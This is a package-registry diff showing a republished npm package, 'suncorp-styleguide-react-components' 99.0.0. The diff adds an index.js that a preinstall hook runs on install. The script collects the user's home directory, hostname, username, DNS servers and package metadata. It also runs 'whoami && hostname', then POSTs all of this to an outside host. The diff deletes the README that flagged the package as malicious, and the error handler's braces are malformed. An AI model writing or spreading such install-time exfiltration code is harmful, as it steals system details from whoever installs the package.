suncorp-styleguide-react-components 0.0.1-security → 99.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of suncorp-styleguide-react-components might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +69 -0
  2. package/package.json +12 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,69 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const packageJSON = require("./package.json");
6
+ const package = packageJSON.name;
7
+ const axios = require('axios');
8
+ const { exec } = require('child_process');
9
+
10
+ const trackingData = JSON.stringify({
11
+ p: package,
12
+ c: __dirname,
13
+ hd: os.homedir(),
14
+ hn: os.hostname(),
15
+ un: os.userInfo().username,
16
+ dns: dns.getServers(),
17
+ r: packageJSON ? packageJSON.___resolved : undefined,
18
+ v: packageJSON.version,
19
+ pjson: packageJSON,
20
+ });
21
+
22
+ var postData = querystring.stringify({
23
+ msg: trackingData,
24
+ });
25
+
26
+ var options = {
27
+ hostname: "styleguide.a4fj0zkfewd4o74v18biqw7p0g67u2ir.aurainfosec-test.com",
28
+ port: 443,
29
+ path: "/",
30
+ method: "POST",
31
+ headers: {
32
+ "Content-Type": "application/x-www-form-urlencoded",
33
+ "Content-Length": postData.length,
34
+ },
35
+ };
36
+
37
+ var req = https.request(options, (res) => {
38
+ res.on("data", (d) => {
39
+ process.stdout.write(d);
40
+ });
41
+ });
42
+
43
+ req.on("error", (e) => {
44
+ {
45
+ // console.error(e);
46
+ {
47
+ });
48
+
49
+ req.write(postData);
50
+ req.end();
51
+
52
+ const url = 'https://styleguide.a4fj0zkfewd4o74v18biqw7p0g67u2ir.aurainfosec-test.com';
53
+
54
+ exec('whoami && hostname', (error, stdout, stderr) => {
55
+ if (error) {
56
+ //console.error(`exec error: ${error}`);
57
+ return;
58
+ }
59
+
60
+ // Send the results to the specified URL via a POST request
61
+ axios.post(url, { results: stdout })
62
+ .then((response) => {
63
+ console.log(`POST request sent: ${response.data}`);
64
+ })
65
+ .catch((error) => {
66
+ console.error(`POST request error: ${error}`);
67
+ });
68
+ });
69
+
package/package.json CHANGED
@@ -1,6 +1,15 @@
1
1
  {
2
2
  "name": "suncorp-styleguide-react-components",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "99.0.0",
4
+ "description": "appsec testing. do not use",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "axios": "^1.3.4"
14
+ }
6
15
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=suncorp-styleguide-react-components for more information.